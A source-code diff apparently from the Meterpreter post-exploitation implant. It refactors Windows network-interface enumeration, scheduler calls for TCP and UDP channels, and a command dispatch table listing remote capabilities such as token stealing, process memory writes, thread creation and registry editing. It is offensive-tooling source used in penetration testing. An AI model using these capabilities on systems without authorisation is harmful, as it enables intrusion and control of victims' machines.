@ -155,42 +161,57 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf( "[INTERFACE] pAdapters->Length = %d", pAdapters->Length );
|
||||
// According to http://msdn.microsoft.com/en-us/library/windows/desktop/aa366058(v=vs.85).aspx
|
||||
// the PIP_ADAPTER_PREFIX doesn't exist prior to XP SP1. We check for this via the `Length`
|
||||
// value, which is 72 in XP without an SP, but 144 in later versions.
|
||||
if (pAdapters->Length <= 72) {
|
||||
dprintf( "[INTERFACE] PIP_ADAPTER_PREFIX is missing" );
|
||||
result = get_interfaces_windows_mib(remote, response);
|
||||
break;
|
||||
}
|
||||
|
||||
// we'll need to know the version later on
|
||||
memset( &v, 0, sizeof(v) );
|
||||
v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||||
GetVersionEx( (LPOSVERSIONINFO)&v );
|
||||
|
||||
// Enumerate the entries
|
||||
for (pCurr = pAdapters; pCurr; pCurr = pCurr->Next)
|
||||
for( pCurr = pAdapters; pCurr; pCurr = pCurr->Next )
|
||||
{
|
||||
// Save the first prefix for later in case we don't have an OnLinkPrefixLength
|
||||
pPrefix = pCurr->FirstPrefix;
|
||||
|
||||
tlv_cnt = 0;
|
||||
|
||||
interface_index_bigendian = htonl(pCurr->IfIndex);
|
||||
dprintf( "[INTERFACE] Adding index: %u", pCurr->IfIndex );
|
||||
interface_index_bigendian = htonl(pCurr->IfIndex);
|
||||
entries[tlv_cnt].header.length = sizeof(DWORD);
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian;
|
||||
tlv_cnt++;
|
||||
|
||||
dprintf( "[INTERFACE] Adding MAC" );
|
||||
entries[tlv_cnt].header.length = pCurr->PhysicalAddressLength;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_MAC_ADDR;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)pCurr->PhysicalAddress;
|
||||
tlv_cnt++;
|
||||
|
||||
dprintf( "[INTERFACE] Adding Description" );
|
||||
entries[tlv_cnt].header.length = (DWORD)wcslen(pCurr->Description)*2 + 1;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_MAC_NAME;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)pCurr->Description;
|
||||
tlv_cnt++;
|
||||
|
||||
mtu_bigendian = htonl(pCurr->Mtu);
|
||||
dprintf( "[INTERFACE] Adding MTU: %u", pCurr->Mtu );
|
||||
mtu_bigendian = htonl(pCurr->Mtu);
|
||||
entries[tlv_cnt].header.length = sizeof(DWORD);
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian;
|
||||
tlv_cnt++;
|
||||
|
||||
// According to http://msdn.microsoft.com/en-us/library/windows/desktop/aa366058(v=vs.85).aspx
|
||||
// the PIP_ADAPTER_PREFIX doesn't exist prior to XP SP1. We check for this via the `Length`
|
||||
// value, which is 72 in XP without an SP, but 144 in later versions.
|
||||
if (pCurr->Length > 72) {
|
||||
// Save the first prefix for later in case we don't have an OnLinkPrefixLength
|
||||
pPrefix = pCurr->FirstPrefix;
|
||||
}
|
||||
|
||||
for (pAddr = (void*)pCurr->FirstUnicastAddress; pAddr; pAddr = (void*)pAddr->Next)
|
||||
for (pAddr = (IP_ADAPTER_UNICAST_ADDRESS_LH*)pCurr->FirstUnicastAddress;
|
||||
pAddr; pAddr = pAddr->Next)
|
||||
{
|
||||
sockaddr = pAddr->Address.lpSockaddr;
|
||||
if (AF_INET != sockaddr->sa_family && AF_INET6 != sockaddr->sa_family) {
|
||||
@ -202,33 +223,26 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
|
||||
// for scope_id, one for netmask. Go ahead and allocate enough
|
||||
// room for all of them.
|
||||
if (allocd_entries < tlv_cnt+3) {
|
||||
entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3));
|
||||
entries = (Tlv*)realloc(entries, sizeof(Tlv) * (tlv_cnt+3));
|
||||
allocd_entries += 3;
|
||||
}
|
||||
|
||||
if (pAddr->Length > 44) {
|
||||
if (v.dwMajorVersion >= 6) {
|
||||
// Then this is Vista+ and the OnLinkPrefixLength member
|
||||
// will be populated
|
||||
dprintf( "[INTERFACES] >= Vista, using prefix: %x", pAddr->OnLinkPrefixLength );
|
||||
prefixes[prefixes_cnt] = htonl(pAddr->OnLinkPrefixLength);
|
||||
}
|
||||
|
||||
if (pPrefix && 0 == prefixes[prefixes_cnt] ) {
|
||||
// Otherwise, we have to walk the FirstPrefix linked list
|
||||
else if( pPrefix ) {
|
||||
dprintf( "[INTERFACES] < Vista, using prefix: %x", pPrefix->PrefixLength );
|
||||
prefixes[prefixes_cnt] = htonl(pPrefix->PrefixLength);
|
||||
pPrefix = pPrefix->Next;
|
||||
} else {
|
||||
// This is XP SP0 and as far as I can tell, we have no way
|
||||
// of determining the netmask short of bailing on
|
||||
// this method and falling back to MIB, which doesn't
|
||||
// return IPv6 addresses. Older versions (e.g. NT4, 2k)
|
||||
// don't have GetAdapterAddresses, so they will have fallen
|
||||
// through earlier to the MIB implementation.
|
||||
free(entries);
|
||||
free(pAdapters);
|
||||
return get_interfaces_windows_mib(remote, response);
|
||||
dprintf( "[INTERFACES] < Vista, no prefix" );
|
||||
prefixes[prefixes_cnt] = 0;
|
||||
}
|
||||
|
||||
if (prefixes[prefixes_cnt]) {
|
||||
dprintf( "[INTERFACE] Adding Prefix: %x", prefixes[prefixes_cnt] );
|
||||
entries[tlv_cnt].header.length = 4;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_IP_PREFIX;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&prefixes[prefixes_cnt];
|
||||
@ -237,12 +251,13 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
|
||||
}
|
||||
|
||||
if (sockaddr->sa_family == AF_INET) {
|
||||
dprintf( "[INTERFACE] Adding IPv4 Address: %x", ((struct sockaddr_in *)sockaddr)->sin_addr );
|
||||
entries[tlv_cnt].header.length = 4;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_IP;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr);
|
||||
tlv_cnt++;
|
||||
|
||||
} else {
|
||||
dprintf( "[INTERFACE] Adding IPv6 Address" );
|
||||
entries[tlv_cnt].header.length = 16;
|
||||
entries[tlv_cnt].header.type = TLV_TYPE_IP;
|
||||
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr);
|
||||
|
@ -328,7 +328,7 @@ DWORD create_tcp_client_channel(Remote *remote, LPCSTR remoteHost, USHORT remote
|
||||
WSAEventSelect(ctx->fd, ctx->notify, FD_READ|FD_CLOSE);
|
||||
dprintf( "[TCP] create_tcp_client_channel. host=%s, port=%d created the notify %.8x", remoteHost, remotePort, ctx->notify );
|
||||
|
||||
scheduler_insert_waitable( ctx->notify, ctx, (WaitableNotifyRoutine)tcp_channel_client_local_notify);
|
||||
scheduler_insert_waitable( ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);
|
||||
}
|
||||
|
||||
} while (0);
|
||||
@ -375,7 +375,7 @@ VOID free_socket_context(SocketContext *ctx)
|
||||
{
|
||||
dprintf( "[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify);
|
||||
// The scheduler calls CloseHandle on our WSACreateEvent() for us
|
||||
scheduler_remove_waitable(ctx->notify);
|
||||
scheduler_signal_waitable(ctx->notify, Stop);
|
||||
ctx->notify = NULL;
|
||||
}
|
||||
|
||||
|
@ -27,7 +27,7 @@ VOID free_tcp_server_context( TcpServerContext * ctx )
|
||||
|
||||
if( ctx->notify )
|
||||
{
|
||||
scheduler_remove_waitable( ctx->notify );
|
||||
scheduler_signal_waitable( ctx->notify, Stop );
|
||||
ctx->notify = NULL;
|
||||
}
|
||||
|
||||
@ -105,7 +105,7 @@ TcpClientContext * tcp_channel_server_create_client( TcpServerContext * serverct
|
||||
if( !clientctx->channel )
|
||||
BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE );
|
||||
|
||||
dwResult = scheduler_insert_waitable( clientctx->notify, clientctx, (WaitableNotifyRoutine)tcp_channel_client_local_notify );
|
||||
dwResult = scheduler_insert_waitable( clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
@ -266,7 +266,7 @@ DWORD request_net_tcp_server_channel_open( Remote * remote, Packet * packet )
|
||||
if( !ctx->channel )
|
||||
BREAK_WITH_ERROR( "[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
scheduler_insert_waitable( ctx->notify, ctx, (WaitableNotifyRoutine)tcp_channel_server_notify );
|
||||
scheduler_insert_waitable( ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL );
|
||||
|
||||
packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel) );
|
||||
|
||||
|
@ -129,7 +129,7 @@ VOID free_udp_context( UdpSocketContext * ctx )
|
||||
{
|
||||
dprintf( "[UDP] free_udp_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->sock.notify );
|
||||
// The scheduler calls CloseHandle on our WSACreateEvent() for us
|
||||
scheduler_remove_waitable( ctx->sock.notify );
|
||||
scheduler_signal_waitable( ctx->sock.notify, Stop );
|
||||
ctx->sock.notify = NULL;
|
||||
}
|
||||
|
||||
@ -323,7 +323,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet )
|
||||
if( !ctx->sock.channel )
|
||||
BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
scheduler_insert_waitable( ctx->sock.notify, ctx, (WaitableNotifyRoutine)udp_channel_notify );
|
||||
scheduler_insert_waitable( ctx->sock.notify, ctx, NULL, (WaitableNotifyRoutine)udp_channel_notify, NULL );
|
||||
|
||||
packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->sock.channel) );
|
||||
|
||||
|
@ -64,6 +64,7 @@
|
||||
#include "net/net.h"
|
||||
#include "ui/ui.h"
|
||||
#include "webcam/webcam.h"
|
||||
#include "webcam/audio.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "railgun/railgun.h" // PKS, win32 specific at the moment.
|
||||
|
@ -21,321 +21,104 @@ extern DWORD request_general_channel_open(Remote *remote, Packet *packet);
|
||||
Command customCommands[] =
|
||||
{
|
||||
// General
|
||||
{ "core_channel_open",
|
||||
{ request_general_channel_open, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "core_channel_open", request_general_channel_open ),
|
||||
|
||||
#ifdef WIN32
|
||||
// Railgun
|
||||
{ "stdapi_railgun_api",
|
||||
{ request_railgun_api, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_railgun_api_multi",
|
||||
{ request_railgun_api_multi, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_railgun_memread",
|
||||
{ request_railgun_memread, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_railgun_memwrite",
|
||||
{ request_railgun_memwrite, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "stdapi_railgun_api", request_railgun_api ),
|
||||
COMMAND_REQ( "stdapi_railgun_api_multi", request_railgun_api_multi ),
|
||||
COMMAND_REQ( "stdapi_railgun_memread", request_railgun_memread ),
|
||||
COMMAND_REQ( "stdapi_railgun_memwrite", request_railgun_memwrite ),
|
||||
#endif
|
||||
|
||||
// Fs
|
||||
{ "stdapi_fs_ls",
|
||||
{ request_fs_ls, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_fs_getwd",
|
||||
{ request_fs_getwd, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_fs_chdir",
|
||||
{ request_fs_chdir, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_fs_mkdir",
|
||||
{ request_fs_mkdir, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_fs_delete_dir",
|
||||
{ request_fs_delete_dir, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_fs_delete_file",
|
||||
{ request_fs_delete_file, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_fs_separator",
|
||||
{ request_fs_separator, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_fs_stat",
|
||||
{ request_fs_stat, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_fs_file_expand_path",
|
||||
{ request_fs_file_expand_path, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_fs_file_move",
|
||||
{ request_fs_file_move, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "stdapi_fs_ls", request_fs_ls ),
|
||||
COMMAND_REQ( "stdapi_fs_getwd", request_fs_getwd ),
|
||||
COMMAND_REQ( "stdapi_fs_chdir", request_fs_chdir ),
|
||||
COMMAND_REQ( "stdapi_fs_mkdir", request_fs_mkdir ),
|
||||
COMMAND_REQ( "stdapi_fs_delete_dir", request_fs_delete_dir ),
|
||||
COMMAND_REQ( "stdapi_fs_delete_file", request_fs_delete_file ),
|
||||
COMMAND_REQ( "stdapi_fs_separator", request_fs_separator ),
|
||||
COMMAND_REQ( "stdapi_fs_stat", request_fs_stat ),
|
||||
COMMAND_REQ( "stdapi_fs_file_expand_path", request_fs_file_expand_path ),
|
||||
COMMAND_REQ( "stdapi_fs_file_move", request_fs_file_move ),
|
||||
COMMAND_REQ( "stdapi_fs_md5", request_fs_md5 ),
|
||||
COMMAND_REQ( "stdapi_fs_sha1", request_fs_sha1 ),
|
||||
#ifdef _WIN32
|
||||
{ "stdapi_fs_search",
|
||||
{ request_fs_search, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "stdapi_fs_search", request_fs_search ),
|
||||
#endif
|
||||
{ "stdapi_fs_md5",
|
||||
{ request_fs_md5, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_fs_sha1",
|
||||
{ request_fs_sha1, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Process
|
||||
{ "stdapi_sys_process_attach",
|
||||
{ request_sys_process_attach, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_close",
|
||||
{ request_sys_process_close, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_execute",
|
||||
{ request_sys_process_execute, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_kill",
|
||||
{ request_sys_process_kill, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_get_processes",
|
||||
{ request_sys_process_get_processes, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_getpid",
|
||||
{ request_sys_process_getpid, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_get_info",
|
||||
{ request_sys_process_get_info, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_wait",
|
||||
{ request_sys_process_wait, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "stdapi_sys_process_attach", request_sys_process_attach ),
|
||||
COMMAND_REQ( "stdapi_sys_process_close", request_sys_process_close ),
|
||||
COMMAND_REQ( "stdapi_sys_process_execute", request_sys_process_execute ),
|
||||
COMMAND_REQ( "stdapi_sys_process_kill", request_sys_process_kill ),
|
||||
COMMAND_REQ( "stdapi_sys_process_get_processes", request_sys_process_get_processes ),
|
||||
COMMAND_REQ( "stdapi_sys_process_getpid", request_sys_process_getpid ),
|
||||
COMMAND_REQ( "stdapi_sys_process_get_info", request_sys_process_get_info ),
|
||||
COMMAND_REQ( "stdapi_sys_process_wait", request_sys_process_wait ),
|
||||
|
||||
#ifdef _WIN32
|
||||
// Image
|
||||
{ "stdapi_sys_process_image_load",
|
||||
{ request_sys_process_image_load, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_image_get_proc_address",
|
||||
{ request_sys_process_image_get_proc_address, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_image_unload",
|
||||
{ request_sys_process_image_unload, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_image_get_images",
|
||||
{ request_sys_process_image_get_images, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
// Image
|
||||
COMMAND_REQ( "stdapi_sys_process_image_load", request_sys_process_image_load ),
|
||||
COMMAND_REQ( "stdapi_sys_process_image_get_proc_address", request_sys_process_image_get_proc_address ),
|
||||
COMMAND_REQ( "stdapi_sys_process_image_unload", request_sys_process_image_unload ),
|
||||
COMMAND_REQ( "stdapi_sys_process_image_get_images", request_sys_process_image_get_images ),
|
||||
|
||||
// Memory
|
||||
{ "stdapi_sys_process_memory_allocate",
|
||||
{ request_sys_process_memory_allocate, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_memory_free",
|
||||
{ request_sys_process_memory_free, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_memory_read",
|
||||
{ request_sys_process_memory_read, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_memory_write",
|
||||
{ request_sys_process_memory_write, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_memory_query",
|
||||
{ request_sys_process_memory_query, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_memory_protect",
|
||||
{ request_sys_process_memory_protect, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_memory_lock",
|
||||
{ request_sys_process_memory_lock, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_memory_unlock",
|
||||
{ request_sys_process_memory_unlock, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Thread
|
||||
{ "stdapi_sys_process_thread_open",
|
||||
{ request_sys_process_thread_open, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_thread_create",
|
||||
{ request_sys_process_thread_create, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_thread_close",
|
||||
{ request_sys_process_thread_close, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_thread_get_threads",
|
||||
{ request_sys_process_thread_get_threads, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_thread_suspend",
|
||||
{ request_sys_process_thread_suspend, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_thread_resume",
|
||||
{ request_sys_process_thread_resume, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_thread_terminate",
|
||||
{ request_sys_process_thread_terminate, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_thread_query_regs",
|
||||
{ request_sys_process_thread_query_regs, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_process_thread_set_regs",
|
||||
{ request_sys_process_thread_set_regs, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
// Memory
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_allocate", request_sys_process_memory_allocate ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_free", request_sys_process_memory_free ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_read", request_sys_process_memory_read ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_write", request_sys_process_memory_write ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_query", request_sys_process_memory_query ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_protect", request_sys_process_memory_protect ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_lock", request_sys_process_memory_lock ),
|
||||
COMMAND_REQ( "stdapi_sys_process_memory_unlock", request_sys_process_memory_unlock ),
|
||||
|
||||
// Thread
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_open", request_sys_process_thread_open ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_create", request_sys_process_thread_create ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_close", request_sys_process_thread_close ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_get_threads", request_sys_process_thread_get_threads ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_suspend", request_sys_process_thread_suspend ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_resume", request_sys_process_thread_resume ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_terminate", request_sys_process_thread_terminate ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_query_regs", request_sys_process_thread_query_regs ),
|
||||
COMMAND_REQ( "stdapi_sys_process_thread_set_regs", request_sys_process_thread_set_regs ),
|
||||
|
||||
// Registry
|
||||
{ "stdapi_registry_load_key",
|
||||
{ request_registry_load_key, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_registry_unload_key",
|
||||
{ request_registry_unload_key, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_registry_open_key",
|
||||
{ request_registry_open_key, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_registry_open_remote_key",
|
||||
{ request_registry_open_remote_key, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_registry_create_key",
|
||||
{ request_registry_create_key, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_registry_enum_key",
|
||||
{ request_registry_enum_key, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_registry_delete_key",
|
||||
{ request_registry_delete_key, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_registry_close_key",
|
||||
{ request_registry_close_key, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_registry_set_value",
|
||||
{ request_registry_set_value, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_registry_query_value",
|
||||
{ request_registry_query_value, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_registry_query_class",
|
||||
{ request_registry_query_class, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_registry_enum_value",
|
||||
{ request_registry_enum_value, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_registry_delete_value",
|
||||
{ request_registry_delete_value, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "stdapi_registry_load_key", request_registry_load_key ),
|
||||
COMMAND_REQ( "stdapi_registry_unload_key", request_registry_unload_key ),
|
||||
COMMAND_REQ( "stdapi_registry_open_key", request_registry_open_key ),
|
||||
COMMAND_REQ( "stdapi_registry_open_remote_key", request_registry_open_remote_key ),
|
||||
COMMAND_REQ( "stdapi_registry_create_key", request_registry_create_key ),
|
||||
COMMAND_REQ( "stdapi_registry_enum_key", request_registry_enum_key ),
|
||||
COMMAND_REQ( "stdapi_registry_delete_key", request_registry_delete_key ),
|
||||
COMMAND_REQ( "stdapi_registry_close_key", request_registry_close_key ),
|
||||
COMMAND_REQ( "stdapi_registry_set_value", request_registry_set_value ),
|
||||
COMMAND_REQ( "stdapi_registry_query_value", request_registry_query_value ),
|
||||
COMMAND_REQ( "stdapi_registry_query_class", request_registry_query_class ),
|
||||
COMMAND_REQ( "stdapi_registry_enum_value", request_registry_enum_value ),
|
||||
COMMAND_REQ( "stdapi_registry_delete_value", request_registry_delete_value ),
|
||||
#endif
|
||||
|
||||
// Sys/config
|
||||
{ "stdapi_sys_config_getuid",
|
||||
{ request_sys_config_getuid, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_config_sysinfo",
|
||||
{ request_sys_config_sysinfo, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_config_rev2self",
|
||||
{ request_sys_config_rev2self, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_config_getprivs",
|
||||
{ request_sys_config_getprivs, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "stdapi_sys_config_getuid", request_sys_config_getuid ),
|
||||
COMMAND_REQ( "stdapi_sys_config_sysinfo", request_sys_config_sysinfo ),
|
||||
COMMAND_REQ( "stdapi_sys_config_rev2self", request_sys_config_rev2self ),
|
||||
COMMAND_REQ( "stdapi_sys_config_getprivs", request_sys_config_getprivs ),
|
||||
#ifdef _WIN32
|
||||
{ "stdapi_sys_config_steal_token",
|
||||
{ request_sys_config_steal_token, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_config_drop_token",
|
||||
{ request_sys_config_drop_token, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "stdapi_sys_config_steal_token", request_sys_config_steal_token ),
|
||||
COMMAND_REQ( "stdapi_sys_config_drop_token", request_sys_config_drop_token ),
|
||||
#endif
|
||||
|
||||
// Net
|
||||
{ "stdapi_net_config_get_routes",
|
||||
{ request_net_config_get_routes, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_net_config_add_route",
|
||||
{ request_net_config_add_route, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_net_config_remove_route",
|
||||
{ request_net_config_remove_route, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_net_config_get_interfaces",
|
||||
{ request_net_config_get_interfaces, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_net_config_get_arp_table",
|
||||
{ request_net_config_get_arp_table, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_net_config_get_netstat",
|
||||
{ request_net_config_get_netstat, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "stdapi_net_config_get_routes", request_net_config_get_routes ),
|
||||
COMMAND_REQ( "stdapi_net_config_add_route", request_net_config_add_route ),
|
||||
COMMAND_REQ( "stdapi_net_config_remove_route", request_net_config_remove_route ),
|
||||
COMMAND_REQ( "stdapi_net_config_get_interfaces", request_net_config_get_interfaces ),
|
||||
